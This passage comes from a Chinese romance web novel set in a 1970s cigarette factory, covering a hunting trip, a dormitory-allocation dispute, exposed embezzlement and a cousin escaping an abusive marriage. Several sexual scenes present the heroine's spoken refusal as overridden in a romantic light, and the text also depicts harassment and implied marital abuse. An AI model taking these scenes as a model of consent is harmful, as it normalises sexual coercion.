谢宴清点点头,像是知道了,也像是不在意。
林间的雾气已经散去,阳光透过枝叶在地上投下斑驳的光影。谢宴清拉着觅婉婉的手,低头在地上寻找野猪的蹄印。
泥土是湿润的,印痕清晰,边缘整齐,显然是刚留下不久。
“有两头,估计是一公一母。”谢宴清蹲下身,修长的手指抚过地上的蹄印。
“那可以卖好多钱,”觅婉婉两眼放光,又有点遗憾,“可惜我不会打猎。”
“你不用会,我给你打。”谢宴清的声音温柔,却带着一种不容置疑的坚定。
觅婉婉:“那感情好。”
经过一番追踪,觅婉婉跟着谢宴清来到一处隐蔽的山谷中。
这是一个与世隔绝的山谷,四周高耸的岩壁像天然的屏障,将这片天地与外界隔绝开来。谷底铺满了柔软的绿草,其间点缀着各色野花,在晨光中轻轻摇曳。
一条清澈的溪流从山谷深处蜿蜒而出,水声潺潺,在阳光下泛着粼粼波光。溪边生长着几棵高大的山毛榉,枝叶繁茂,在草地上投下斑驳的树影。
空气中弥漫着青草和野花的清香,偶尔还能听到几声清脆的鸟鸣。
觅婉婉轻易就被谷底的绿草鲜花吸引,小跑过去,开心地在草地上转圈。
她穿着荷叶边碎花衬衫,黑色的半裙,两根麻花辫肆意地甩动着。
“谢宴清,这里好漂亮啊,我喜欢这里。”觅婉婉停下了脚步,笑着对谢宴清说。
她的笑声清脆,笑容明媚,看向自己的眼中闪着星星点点的光,谢宴清感觉自己的心跳漏了一拍,喉咙发紧,想说些什么,却发现自己发不出声音。
突然,前方的灌木丛中传来一阵响动。谢宴清转头看去,一头体型硕大的野猪从灌木丛中钻了出来,粗硬的鬃毛上还挂着露珠。
他立即搭弓射箭,弓弦震动,箭矢破空而出。野猪发出一声凄厉的嚎叫,重重地倒在地上。
灌木丛中另外一头野猪迅速地朝另一个方向逃命,谢宴清再放一箭,又一头野猪中箭倒地。
他身形挺拔又灵活,射箭时的动作干脆利落,觅婉婉第一次见到这样的谢宴清,结合他那张俊美的脸。觅婉婉以前不能理解追星的人,现在却很能体会他们的心情。
谢宴清简直帅呆了好嘛,觅婉婉现在就想疯狂尖叫,学着前世见过的粉丝们那样,疯狂给谢宴清刷礼物。
将野猪用藤条绑好后,谢宴清转过身,看见的就是觅婉婉迷恋的眼神。
他想打它个几百头。
白色的衬衣被猪血染红,谢宴清脱下上衣,光着上半身来到小溪边洗漱。
弯下腰准备洗脸的时候,谢宴清注意到小溪旁边的一处草丛形状不太对。
顺着痕迹走去,他发现了一个隐蔽的山洞。洞口被茂密的藤蔓遮掩,若不是仔细查看,很难发现这里别有洞天。
谢宴清拨开藤蔓,一股温热的气息扑面而来。山洞不深,阳光从洞口斜斜地照进来,在地上投下斑驳的光影。在洞穴的最深处,有一个用枯草和树叶搭建的窝。
窝里蜷缩着三只野猪崽,它们的眼睛还没完全睁开,粉嫩的皮肤上覆盖着稀疏的绒毛。听到动静,小家伙们不安地蠕动着,发出细微的叫声。
“哇,我们今天运气真好,恰好祝毅需要猪崽呢,这三只猪崽可以解他的燃眉之急。”觅婉婉跟过来,看到洞里的猪崽,感叹道。
谢宴清把洞口的藤蔓盖回去,“两只成年的野猪,三头小猪崽,得等到半夜的时候再运出去了。”
这么丰盛的收获,大白天地拿出去,未免太过招眼。
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谢宴清走进小溪中,溪水清澈见底,阳光洒在水面上,泛起粼粼波光。
他站在及腰的溪水中,水珠顺着他的脊背滑落,在阳光下闪烁着微光。他的肩膀宽阔,肌肉线条分明却不夸张,像是经过岁月打磨的岩石,既有力量感又不失优雅。
弯下腰,双手捧起一汪清水泼在脸上。水珠顺着他的下颌线滑落,滴落在结实的胸膛上。他的腹肌随着呼吸微微起伏,像是起伏的山峦,每一道线条都恰到好处。
阳光为他镀上一层金边,将他小麦色的肌肤衬得更加健康光泽。
他甩了甩头发,水珠四散开来,在阳光下形成一道小小的彩虹。他的动作带着一种野性的洒脱,却又透着几分不经意的优雅。溪水在他腰间流淌,勾勒出他紧实的腰线,水波荡漾间,若隐若现的人鱼线引人遐想。
觅婉婉觉得谢宴清就是老天爷赏饭吃的那种,又纯又欲的长相,迷死人的身材,出众的能力......
“你也要洗?”谢宴清转过身,阳光正好照在他的侧脸上,高挺的鼻梁在脸上投下一道阴影,下巴的线条干净利落,他的睫毛上还挂着水珠,随着眨眼的动作轻轻颤动。
“不...不用了。”觅婉婉这才反应过来自己盯着他的视线太过直接,红着脸扭过头。
谢宴清轻笑:“想看可以尽情地看。”
觅婉婉瞪他:“谁想看你了!”说完,侧过身子,留给他半个背影。
“哗啦~”一声,谢宴清从小溪中走出来,开始捡柴火。
觅婉婉看见草地上跳动着两条鱼,起身帮忙,时至正午,也是到了该吃饭的时候。
他们今天上山的时候没有带上调料,好在这山谷的环境极好,养出的鱼大,一斤足有六斤左右。
肉质又极为细嫩,带着淡淡的甜味,觅婉婉吃了整整一条鱼,回味无穷。
吃饱之后,觅婉婉躺在草地上。
头顶的天空湛蓝如洗,几朵白云悠闲地飘过,像是被风吹散的棉絮。阳光透过云层洒下来,温暖而不刺眼,闭上眼睛也能感受到眼皮上跳动的金色光斑。
身下的草地柔软得像一张天然的地毯,青草的尖端轻轻搔痒着裸露的皮肤,带来一丝丝微妙的触感。草叶间还带着清晨的露水,湿润的气息透过衣物渗入肌肤,清凉却不寒冷。偶尔有一阵微风吹过,草浪轻轻起伏,仿佛大地在温柔地呼吸。
鼻尖萦绕着青草的清香,混合着野花淡淡的甜味,还有泥土特有的芬芳。
觅婉婉深深地吸了一口气,“谢宴清,这里真好。”
谢宴清挨着觅婉婉躺,闻言,侧过头,目不转睛地盯着她看:“你在哪里,哪里就好。”
觅婉婉被他突如其来的情话闹得红了脸,嗔怒道:“你从哪学来的花言巧语。”
谢宴清伸出手,轻轻抚过她的脸颊,接着缓缓靠近,近到能看见她脸颊上细小的绒毛。
觅婉婉伸手揽住他的脖子,闭上眼睛,唇舌相接。
这个吻温柔而绵长,直到谢宴清解开她衬衫的纽扣,觅婉婉的皮肤在日光下泛着珍珠般的光泽,温暖而细腻。
觅婉婉的声音发颤:“不...不要。”
34. 通红
“要。”
谢宴清的动作缓慢而坚定,迅速地除去两人身上的衣物,呼吸交织,唇舌交缠。
觅婉婉怎么也没想到事情会变成这个地步,身上的男人像是红了眼,死死地盯着她,摆弄着她,一口一口地将她吞吃下腹。
昨两天的男人虽然在房事上也颇为失控,却不像今天一样理智全无。
在这片与世隔绝的山谷中,谢宴清似乎完全释放出了本性,草地上、花丛中、小溪里......
他们在仙境中交缠、忘我,与天地融为一体。
入夜,谢宴清去镇上找祝毅处理野猪,觅婉婉回到家,想着今天在山谷中发生的事情,整个人像熟透的虾子一样,通红通红的。
实在是,今天在山谷中发生的事情,通黄通黄的。
不行,觅婉婉痛定思痛,以后绝对不能这么放纵,太羞耻了。
到底是折腾了一天,觅婉婉很快就眼皮打架,沉沉地睡了过去。
早上醒来的时候,觅婉婉一眼看见床头放着的钱,眼皮控制不住地抽搐了几下:昨天的卖身钱既视感。
不管怎样,有钱了觅婉婉还是开心的,拿起来数了数,一共四百三十二元,加上之前的,因为买房一贫如洗的小家如今又有了六百七十元的存款。
三天的假期结束,谢宴清已经回部队述职,觅婉婉也接到了溪城卷烟厂复工的通知,卷烟厂已经重建完毕。
对于这个消息,觅婉婉并不意外,有翟良策在,卷烟厂重建的速度不会慢。正好,她的三样草药已经种植完毕,打理的事情,交给吕花也不会出问题。
新建的卷烟厂焕然一新,令觅婉婉意外的是,她被调去财务部了。
财务部的工作在办公室,比车间要轻松。可财务部是汪建德的地盘,觅婉婉还得罪了周哲,对于她来说,财务部怎么都不是个好去处。
对于这个调令,卷烟厂大部分人是支持的,毕竟是觅婉婉第一个发现泥石流通知的厂里,算立功一件。加上她是高中学历,坐办公室算是人尽其才。
财务部的人不多,部长汪建德,副部长周哲,还有个普通女职工叫□□珑。事已至此,觅婉婉神色如常地来到财务部。“大家好,我是来财务部报到的。”
□□珑瞟了她一眼,低着头做事不搭理她。汪建德捧着搪瓷杯在喝水,看见她,冷淡地“嗯”了一声后,就没再理她。
唯有周哲拿着一沓文件,笑眯眯地递给她:“婉婉,你来得正好,卷烟厂宿舍分配的问题,工人们有点意见,你去处理一下。”
觅婉婉皱眉:“周部,您叫我名字就可以了。”
周哲脸上的笑僵硬了一瞬,到底没说什么,回到工位上。
拿到资料,觅婉婉并没有第一时间去宿舍,而是坐到自己的工位上,仔细看起来资料。
福利分配问题最容易引起纠纷,他们此时把这个烫手的山芋丢给自己,显然不是临时起意,觅婉婉一边看一边思考。
只是越看,觅婉婉越觉得其中问题很大。刘为民负责的一二车间工人,分到的宿舍都是面积最小、位置最差的。
问题更大的是他们给新厂长翟良策一家的宿舍,一个只有20多平方米的房子,里面有一个房间和一个厨房,房间里甚至是一张破旧、摇摇晃晃的上下床。
而翟良策是带着老婆孩子来的,无论从职级还是其他方面来说,他都不该分到这种房子,一看就是副厂长郑宏儒给的下马威。
整整一个上午,觅婉婉都在看资料,尽量地将每个工人的家庭情况了解清楚。其他的三个人则是看报的看报,埋头做事的做事,准备看好戏的好整以暇。
中午吃完饭后,觅婉婉正准备回办公室,猝不及防被一群工人给围住了。
“财务部说宿舍分配的事情是你来管的?”一个满脸胡茬的中年男人走上前,开门见山地问觅婉婉。
觅婉婉点点头,所有人的目光都聚集在她身上,带着满满的质疑和不信任。
“我们在卷烟厂干了这么多年,连个好点的宿舍都分不到,今天你必须给我个说法。”一个工人激动地说。
“是啊,你们到底怎么分配宿舍的,我们两家人住20平米的房子,中间用草席隔开。我们家住里面的,每次出门都要经过另一家,这让我们怎么住啊!”另外一个工人也站出来说。
“凭什么他们家就能分到50平米的房子,我家只有20平米,是不是有人走后门了?”
“走什么后门,你就是见不得老子好!”
“不管怎样,你今天必须给个说法,这宿舍到底是怎么分的。”
“就是,你今天不给个说法,就别想走!”
......
工人们群情激愤,越说越激动。在这样的环境中,觅婉婉反而越发地冷静,她本来想下午做一个方案出来,如今看来这些工人们是等不及了。
“大家先别急,关于你们说的问题,我已经有解决方法了。”觅婉婉拿起粉笔,在黑板上快速地写着,“我们可以实行积分制,工龄、出勤率、工作表现都计入积分,按积分高低分配宿舍,这样最公平。”
“在公平的同时兼顾人情,对于家庭人口多的,祖孙几代都在卷烟厂工作的工人,可以根据情况给予优待。”
工人们安静下来,面面相觑。
带头的中年男人站出来说:“你这个主意看起来不错,但是到底能不能做到公平,你得拿出个方案来。”
觅婉婉:“我现在就回去做方案,明天上班的时候,大家一定能看到方案。”
工人们渐渐散去,觅婉婉长舒一口气。
站在不远处看到了整个过程的翟良策满意地点点头,转身离去。
回到住处,冯静静埋怨道:“这不明摆着欺负我们呢,你找他们要说法了没?昨晚睡得我腰酸背痛的,儿子也没睡好,翻个身都要担心床会塌。”
翟良策:“你放心,这房子很快就能换的。我今天只是去看看情况,倒是发现了个聪明的小姑娘。”
他将财务部如何将分配宿舍的事情丢给觅婉婉,觅婉婉又如何解决工人的围堵一
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一跟冯静静说了。
冯静静:“确实挺聪明,咱们去找她换房?”
翟良策笑道:“我的房,找她换不了,她该来找我才是。”
工厂车间,刘为民听到消息赶来的时候工人们已经全都散去了,只剩觅婉婉在黑板上写写画画。
刘为民站在她身后安静地等她写完,觅婉婉回头看见他,打了一声招呼,又说起一件事情。
“刘书记,好歹季家好几代都在卷烟厂工作,如今留下两个小孩,我想着,咱们是不是尽点人情,分他们一间宿舍住着。等两个小孩长大了,再收回来便是。”
刘为民:“这是咱们厂应该的,只是这回,他们明显是冲着你来的。你这方案做的好,可要实行,恐怕难。就是我要做这个主,怕是都难。”
觅婉婉笑说:“谢谢刘书记提醒,不过,我会想办法的。工作嘛,总是会遇到一些难题,关关难过关关过就是了。”
“真是个豁达的小姑娘,记住,解决不了了就来找我。”刘为民对觅婉婉说。
觅婉婉:“谢谢书记,我会的。”
回到财务部,汪建德和□□珑都不见人影,只有周哲在办公室。
觅婉婉看了他一眼,径直走到自己的工位上,开始做根据每个职工的情况做宿舍分配方案。
她做得投入,也就没注意周哲什么时候来到她身边。
等觅婉婉反应过来的时候,周哲已经站在了她的椅子后面。“婉婉啊,你这个方案很好,可惜,实行不了。”
周哲温热的呼吸拂过她的耳畔,觅婉婉一阵恶寒,下意识就要起身。
“别着急呀,”周哲一只手按住了觅婉婉的肩膀,“你看这个,是不是不太合理......”另一只手划过纸张,有意无意地擦过她的手背。
觅婉婉忍无可忍,一把推开椅子,甩了后面的人一巴掌,“周哲,你少跟我来这一招,咱们都清楚彼此之间的过节,你休想我妥协!你且等着,咱们之间,不是你死就是我活。”
她的神情坚定,挨了一巴掌的周哲露出阴森森的笑容,“你这样,我是越发喜欢了呢,真想知道,你被我压在身下的时候,还能不能这么硬气。”
觅婉婉被这人恶心地差点吐出来,为了避免伤身,她拿起文件,走出办公室透气。
周哲看着她的背影,露出阴鸷的目光。
脸色潮红的□□珑刚好回来,看见周哲的目光,又看见他脸上的手掌印,半是捻酸半是讥讽道:“怎么,换口味了?你什么时候喜欢酸辣口了?”
周哲看了□□珑一眼,猛地把她拉进办公室,锁上门,人甩在沙发上,覆身上前,狠狠地发泄着积压的怒火。
觅婉婉本来想回家的,走了几步之后又冷静下来。她是答应了那些工人明天要给出方案的,犯不着为了一个人渣耽误工作。
“叩叩叩~”觅婉婉按照资料上的地址,来到新厂长翟良策的宿舍。
翟良策似乎早就预料到她要来,开了门,笑容满面地迎她进门,“我等你好半天了,进来吧。”
35. 合作
觅婉婉只惊讶了一瞬,很快神色如常地走进去。
“厂长,这是我做的宿舍分配方案,想请您看一下,有没有什么需要补充的。”
翟良策接过资料,看过之后,越发觉得这个小姑娘厉害,方案做得无懈可击。
他不知道的是,觅婉婉前世工作经验丰富,各种复杂的方案都写过,这种宿舍分配方案对她来说,小菜一碟。
“你做的很好,这份方案,明天我就下达下去,也好让工人们安心。”翟良策合上文件,满意地对觅婉婉说。
觅婉婉等的就是翟良策的这句话,跟领导再核对一番细节后,没有多说,也没有多问,礼貌地告辞。
在如今大锅饭的制度下,外来的领导受到排挤,是再正常不过的事情。尤其是溪城发展落后,这种情况只会越发严重。
可觅婉婉清楚地知道翟良策不是一般的领导,即便是初来乍到,翟良策在斗争中也不会落于下风。
至于他用什么方法在斗争中取胜,就不是觅婉婉现在一个小小的职工应该管的了。有朝一日,她若站在顶峰,自然清楚其中因果。
“卷烟厂的领导都欺负我们,这小丫头竟然对你这么恭敬?”觅婉婉走后,冯静静忍不住说。
翟良策:“我看过她的资料,是从外地来的,在本地,尤其是在卷烟厂和市里,没有任何根基。”
不知为什么,今天上午,翟良策一看到觅婉婉,就有预感,她会拿着宿舍的分配方案来找自己。
下午觅婉婉果然来了,也许是上天派给他的帮手吧,翟良策心想。
将方案给翟良策看过,觅婉婉心中大定,于是回到办公室,准备再整理一下。
谁知一打开办公室的门,一股粘稠的气味扑面而来,像是汗水、体味和某种难以形容的腥膻混合在一起。
□□珑的头发乱糟糟地贴在额头上,汗水让几缕发丝黏在脸颊边,显得狼狈不堪。汪建德眼神涣散,眼皮沉重得几乎睁不开,嘴角还挂着一丝干涸的口水痕迹。周哲的胸口还在剧烈起伏,呼吸声粗重而急促,像是刚跑完一场马拉松。
沙发上的印子乱七八糟,甚至残留着不知名的液体......
刚刚这个办公室发生了什么,几乎是一目了然。
觅婉婉下意识地捂住口鼻,胃里一阵翻腾,差点没忍住干呕出来。
“婉婉,怎么了,进来呀。”周哲完全不装了,一副流氓相。
觅婉婉冷冷地看了他一眼,转身就走。她几乎是逃命般地往军区家属院跑,财务部的情况,比她想象地要糟糕地多。
直到进入家属院后,觅婉婉才稍微地冷静下来。如今的情况,对付周哲一个已经不够了,到了需要把整个财务部连根拔起的地步。
若非如此,觅婉婉在财务部是干不下去的。她在前世也听说过职场的腌臜事,可今天这样的事情清晰的发生在眼前,觅婉婉一时之间仍是乱了阵脚。
她的脚步慢下来,心也慢慢静下来。觅婉婉想过找刘老申请调离财务部,可这样就是她失败落荒而逃,觅婉婉轻易不想退步。
自己又没有做错事,凭什么对那些人渣退让,觅婉婉在脑海中飞速搜索中书中剧情。他们闹得这样荒唐,在办公室就敢做那样的事,觅婉婉不信他们后面没有东窗事发。
正在思索着,觅婉婉猝不及防看见了觅桂兰。
几个月不见,觅桂兰已经完全变了一个人。原本年轻清秀的脸庞变得粗糙暗黄,眼窝深陷,像是被生活抽干了所有的活力。
她的眼神空洞而呆滞,像是被抽走了灵魂,只剩下一个躯壳。嘴角微微下垂,脸上没有一丝笑意。
最重要的是,原本觅桂兰总是明里暗里跟觅婉婉较劲,这次看见她,却是下意识地躲避。
“觅桂兰,”觅婉婉叫住她,“你想摆脱这段婚姻,重获自由吗?”
觅桂兰缓慢而机械地扭头看向觅婉婉,“你说什么?”
“我们是敌非友,之前你算计我的事情,在我这永远都不会过去。但我们现在有共同的敌人,你可以考虑跟我合作。”觅婉婉简明扼要地说明自己的想法,没有急着要觅桂兰的答案,先回了家。
以周哲的所作所为,加上周家两个老人的品行,觅婉婉不难猜出觅桂兰变成这样的原因。
但她无意做拯救觅桂兰的救世主,只是她想扳倒周哲,觅桂兰是最合适的人选。没有永远的敌人,只有永远的利益。
她在周家这么久,不可能什么把柄都抓不到。
觅桂兰一回到家,吴翠花破口大骂:“打个酱油去了这么久,你这臭婆娘故意偷懒的是不是?马上老周和哲哲就回家了,你磨磨蹭蹭地,一会儿他们回来吃什么?”
她放下酱油,什么都没说,去厨房做饭。这么的责骂,觅桂兰早已习惯。
周哲今天的心情很不好,他心情不好的时候,觅桂兰就很难过。因为周哲会在床上用尽各种方法折磨觅桂兰,在别人看不见、觅桂兰难以启齿的地方。
觅婉婉回到家的时候,谢宴清已经做好了饭,赵天瑞和王丘雨也在。
“嫂子,你可算回来了,我们等你好久了。告诉你一个好消息,谢哥升官当连长了。”王丘雨一看见觅婉婉,迫不及待地说。
赵天瑞笑着补充:“他这可是连升两级,恭喜啊,我们特意来给你们庆祝。”
谢宴清升了官,觅婉婉自然也高兴。桌上大多是肉菜,觅婉婉在地里摘了一把空心菜说:“你们等会儿,我加两个素菜上来。”
初夏正是吃空心菜的季节,这时候种出来的空心菜清爽脆嫩,随便凉拌一下就好吃。南瓜藤的嫩叶和藤尖也正是鲜嫩的时候,觅婉婉随便摘了一把用蒜蓉炒了。
两个素菜很快就上桌,赵天瑞还带了瓶二锅头过来,一桌子年轻人吃吃喝喝,将觅婉婉白天在财务部的阴影都冲散了不少。
酒过三巡,王丘雨和赵天瑞都喝醉了,谢宴清还算清醒,叫了两人的家人过来接人。
送人出门后,谢宴清的脚步就有些凌乱,二锅头度数高,到底是上头了。觅婉婉扶着他进房间,谢宴清坐在床头,就那么直愣愣地看着觅婉婉。
平日里如高山白雪般冷冽的男人,醉了酒反而像孩子一样露出迷茫的神色。觅婉婉觉得可爱,故意逗他:“你要不要去厅里睡。”
谢宴清坚定地摇头,“要跟你睡。”
“你又不是小孩子,你是大人了,应该自己一
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个人睡。”觅婉婉一本正经地说。
谢宴清听了,竟然认真思索了一下,仿佛真的听进了觅婉婉的话。
“噗!”觅婉婉忍不住笑了出来,“好了好了,脱衣服睡觉吧。”
觅婉婉将他的衣服褪下,见谢宴清依旧笔挺挺地坐在床上,目不转睛的看着自己。
她把谢宴清按在床上,居高临下地看着他,半开玩笑说:“我这样,算不算强迫,嗯?”
谢宴清咻地睁大眼睛,带灰色的眼瞳中目光亮地惊人,一个翻身就把觅婉婉按在床上。
“刺啦~”
觅婉婉的双手被按住,身上一凉,慌张道:“谢宴清,你干什么?”
“强迫!”谢宴清回答地干脆利落又坚定。
觅婉婉顿时后悔不迭,她为什么要去招惹一个醉鬼?
又是“刺啦”几声,很快,觅婉婉身上就不着片缕。
只是,撕完衣服后,谢宴清却保持按住她的姿势不动了,只是目光在觅婉婉的身上不断逡巡,“好美。”
觅婉婉被他直白的目光羞得浑身都泛着粉,“你别看了。”
醉酒的人容易收到指令,谢宴清果真是不看了,而是细细地品尝起眼前的美味。
这段时间对觅婉婉来说格外难熬,概因谢宴清品尝地太过投入,似乎要将她的全身都咀嚼入腹。
前几天谢宴清的横冲直撞,已经让觅婉婉招架不住,此时谢宴清待她,不可谓不温柔。
可这份温柔对觅婉婉来说,无异于是一种酷刑。
“啊~谢宴清,你做什么?”觅婉婉惊呼一声。
谢宴清将她放在点着蜡烛的桌子上,桌子大小有限,觅婉婉的就那样半躺在桌子上,谢宴清卡在中间,望向她的眼神跳跃着火苗,也不知是倒映的烛光,还是发自内心的业火。
一个小时后,觅婉婉的眼角不断的落下泪来,呜呜咽咽地哀求桌下的人:“别...够了......”
“谢...谢宴清,你...你进来。”她知道醉酒的谢宴清在等待她的指令,可觅婉婉终究是太过清醒,说不出这句话来。
可最要命的地方被谢宴清以最温柔的方式折磨了这么久,足以让觅婉婉抛弃羞耻心。
果然,得了指令的谢宴清立马起身,像是设定好的程序一般,开始不知疲倦的动作。
觅婉婉醒来的时候,连抬手的力气都没有了。
犯了错的男人站在床前,红着耳朵,端着一碗鸡粥说:“起来喝点粥吧。”
觅婉婉有气无力地瞪了他一眼,偏偏她这会春色无边,做起这个动作来颇为娇媚,男人毫不掩饰地咽了口口水。
“你出去!”觅婉婉这回是真的恼了,谢宴清赶紧放下粥,几步走出房间。
穿好衣服,洗漱完毕,觅婉婉端起粥正准备喝,就看见桌上有一块暗色的地方,昭示着他们昨天晚上在这里做过什么。
觅婉婉忍了又忍,最终忍无可忍地端着粥走出了房间。
开了荤的男人可怕,喝醉酒的谢宴清更可怕!
磨盘镇的一家商品店里,觅桂兰正在给家里打电话,电话一接通,觅桂兰就哭着对电话那头说:“爸,我想离婚,我想回家。”
36. 定义
“你回什么家?!”电话那头传来觅庆山的怒吼,“结婚这么久了,什么都没给家里寄过来,现在还想回家?”
觅桂兰的眼泪不受控制地落下来,她当然知道,自己结婚后没给娘家带来利益,爸妈会对她有意见。
可家里婆婆看得很紧,她别说给娘家谋利了,自己都捞不到分毫。
“还离婚,你离婚回来让我在村里怎么做人!”觅庆山说完这句,立即就挂了电话。
觅桂兰的眼泪还没落完,电话里已经传来“嘟嘟”的声音。
她放下电话,踉踉跄跄地往军属大院走。偶尔步伐大一些,觅桂兰就痛的嘴里发出“嘶嘶”声。
走到昨天跟觅婉婉相遇的地方,像是从梦中清醒,觅桂兰醍醐灌顶,她可以自己救自己的。
于是觅桂兰拖着沉重的步伐,坚定地朝着觅婉婉所在的地方走去。
溪城卷烟厂,宿舍重新分配的方案下来,刘为民带领的一二车间工人因为这些年来出勤率高、工作勤奋,基本都获得了满意的宿舍。
加上分配宿舍的时候照顾了特殊人群的情况,像季白和季萍兄妹两也分得了一室一厅的宿舍,可以住到成年。
虽然不大,但也解决了季家兄妹两的大难题。
大部分人是认可这个分配方式的,然而无论怎样的分配方式,都会有人觉得不公平,只是在刚刚目睹了新厂长和副厂长的交锋后,这小部分人摸不清楚情况,暂时不敢发声。
知道翟良策今天要宣布新的宿舍分配方案,郑宏儒一大早就赶过来了,专门为翟良策添堵。
谁知道翟良策见到郑宏儒就说:“房管组的人跟我说,你住的是六十多平房的房子,怎么给我就二十多平房呢?”
听到房管组三个字,郑宏儒变了脸色。
溪城卷烟厂的宿舍按道理应该归溪城房管组管,由于卷烟厂的特殊性,溪城房管组并不管理卷烟厂的宿舍,一般都是由卷烟厂内部决定。
那么翟良策所说的房管组,只能是市里的房管组了。
“这事我交给财务部长汪建德办的,我也不知道他办成这样,一会儿我就去骂他。”郑宏儒干笑两声,直接把锅甩给别人。
翟良策没揭穿他,直接公布了宿舍的分配方案。郑宏儒试图阻止,翟良策只放下一句,“市里房管组同意的方案,你要是有什么意见,可以向上面反映。”
一句话,让郑宏儒彻底说不出话来,憋了半晌,丢下一句,“我这就去市里走一趟。”
翟良策任由他离去,只一心在厂里安排宿舍事宜。
郑宏儒跑到市里向自己相熟的领导的告状,没想到挨了一顿骂,“你也不看看什么时候了?!你要是还想在卷烟厂干,好好配合翟良策,说不定能有一线生机。”
郑宏儒呆住了:这到底是个什么情况?
卷烟厂的宿舍分配顺利,觅婉婉快到中午的时候才到卷烟厂,本来是想直接找刘老的,没想到季萍和季白姐弟两早早地在厂房门口等她。
“婉婉姐姐~”季白率先朝她跑过来,“我跟姐姐有宿舍了,厂里还给了我们两个免费的读书名额。”
季萍也走过来,眼眶红红:“领导说是婉婉姐姐帮我们安排的,谢谢婉婉姐姐。”
觅婉婉摸摸两个小孩的头,“不用谢。”
卷烟厂有自己办的小学和中学,每年会给家庭困难的职工几个免费入学名额。
大锅饭的体制下,虽然在后世看来有诸多弊端,却也不是全无优点的,起码这个时代的人情味很浓,浓到可以让季萍和季白这样的孤儿正常地生活下去。
“婉婉姐姐,我们会努力帮你干活的,不用钱。”季白拍拍小胸脯,保证一般说。
这段时间季萍和季白帮她打理草药田,觅婉婉每个人每月发十二块钱的工资,合情合理。
她帮季萍和季白争取厂里的福利,没有打算让他们报答,“你们安心上学,一码归一码,干活就得拿工钱,哪有白干的。”
“我还有事,你们先回宿舍吧,别站在这等我了。”觅婉婉跟姐弟两说完,急匆匆地去找刘为民。
书记办公室里,刘为民看到觅婉婉带来的账册,气的直拍桌子,“他们就是这样窃取厂子利益的,难怪前年卷烟厂的产量是20万箱,利润有六千多万元,去年产量有三十万箱,利润却只有五千多万元。他们,他们怎么敢的!”
说实话,如果不是亲眼看到账册,觅婉婉也无法相信,这样一个规模不算大的厂子,在七十年代,每年的利润经然高到令人咂舌,只能说这个行业的利润空间极大。
去年开始,卷烟厂的退货问题就极为严重,有时候退货率比销售量还大。刘为民之所以没有想到这块是因为这些年以来,卷烟厂生产的香烟质量参差不齐。
除了他手底下的两个车间,其他车间生产的香烟,一包二十根的香烟,他们装成十八根;外包装也很差,运输过程中经常损耗。
因此,很多香烟销售单位拒绝销售他们厂的香烟,退货问题更是常见。
可刘为民怎么也不敢想象,厂里竟然有人敢拿退货的香烟出去卖,谋取上千万元的利润。
“刘老,这件事情,或许您可以跟翟厂长商量一下。”牵涉的金额过大,此事非同小可,觅婉婉建议道。
刘为民心知这件事情他一个人是办不了的,点点头:“我知道了。”
犹豫片刻,觅婉婉将昨天在财务部办公室的所见所闻与刘为民说了,“刘老,财务部的办公室对我来说,有点危险,我不想去了。”
刘为民的脸色青青紫紫变幻了一番,最终白着脸说:“你去车间做配方吧,财务部那边,我自会帮你拦着。”
“那就多谢刘老了。”觅婉婉道过谢后就离开了,这样大的事情,周哲定是无法逃脱。
只是事情大了,处理起来就需要时间。难保这段时间周哲他们闻到味了,狗急跳墙,对觅婉婉做出什么来。
更何况,周哲对觅婉婉的觊觎,已经放在了明面上。
卷烟配方是烟草制作中至关重要的一环,根据不同的等级和口味需求,将烟叶、香精
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、香料等,按一定比例混合,形成卷烟配方。
最有技术含量的来了,觅婉婉自然学得认真,一个下午的工作时间很快就过去。
下班时间,谢宴清照旧来接觅婉婉上班,周哲就站在不远处,死死地盯着觅婉婉。
“他怎么回事?”谢宴清冷着一张脸问。
觅婉婉跳上车,抱住谢宴清的腰,“咱们回去说,不理他。”
她不信周哲现在就回过味来了,恐怕还是想对自己做点什么,想到这个,觅婉婉就犯恶心。
回到家后,觅婉婉将这两天发生的事情仔仔细细地告诉了谢宴清。周哲在办公室意图对她进行骚扰,他们几个在办公室做的见不得人的事情,偷卖香烟......
谢宴清听了,立马起身要走。
“哎,你去哪呀?”觅婉婉拉住他。
谢宴清的脸阴沉地能滴出墨水来,“我去阉了他!”
觅婉婉吓了一跳,抓着他的手紧了紧,“你不能去,何必为了一个人渣搭上你的前程。”
谢宴清的脸色如冰山消融,迅速地缓和下来,“你放心,凭他,影响不了我的前程。”
最后,谢宴清仍旧是出了门,觅婉婉没有执着地阻拦他。谢宴清不是个冲动的人,觅婉婉相信他做事心中有数。
明天是休息的日子,觅婉婉打算早点睡,起来后上一趟山。
不想半夜的时候,觅桂兰来敲了她的窗户。
见到觅桂兰,觅婉婉吓了一跳,只因觅桂兰脖子上青青紫紫,还有被咬伤的伤口正在渗血。
“周家知道你做的事情了?”
觅桂兰麻木地摇摇头,惨笑一下,“如果知道了,只怕不只是这样。”
顿了一下,觅桂兰下定决心一般开口:“我今天来,是向你道歉的。我知道,之前做的事情道歉没有用,但我总要为自己做过的错事负责任。”
“你这样离开,恐怕不行。”她身上背着包袱,显然是打算离开。觅婉婉没有接她的话,转而说起其他的。
觅桂兰突然笑了一下:“没什么不行的,我总不能为了一张结婚证把自己困死了。总有一天,等我有足够的实力了,我要回来把这婚离了。”
觅婉婉诧异地看了一眼觅桂兰,没有说话。
“觅婉婉,再见了。”这句话,觅桂兰像是对觅婉婉说的,又像是对自己说的。
从小她就知道,觅婉婉和她不一样。同样的家庭,同样是女儿,同样有一个弟弟。觅桂兰要包揽全部的家务,要带弟弟,要讨好家人。
觅婉婉过的生活,表面上跟她没有什么区别。可觅桂兰知道,她们之间的区别很大。小叔一家都真心爱着觅婉婉,他们不会把她当作一个女儿、姐姐。
在小叔一家眼里,觅婉婉就是觅婉婉,即便觅婉婉不够聪明、木讷、不会说话,那也没关系。但在觅桂兰的家里,这就不行。
她这口气在胸中闷了十八年,今天终于放下了,她觅桂兰的人生,凭什么只由别人定义。
从今以后,她只属于她自己。
37. 私心
“觅桂兰!”
觅婉婉的声音在黑暗中格外响亮,觅桂兰回过头,疑惑地看着她。
“我有一个地方推荐,你想不想去?”
在觅桂兰走后,觅婉婉突然想起来,原书中周家一直实力不菲。
即便不久之后拨乱反正,周显鑫被清算,周家也很快迅速崛起。周哲在卷烟厂谋取的大笔钱财是其一,周显鑫只怕也留有后手。
刚好觅婉婉想起觅桂兰从小力气就大,只是她怕村里的人说,一直藏着掖着,原身也是小时候偶然发现的。
巧的是,前几天她去祝毅那买肉的时候,祝毅说起他的养猪场已经建好了,就是有点缺人手。
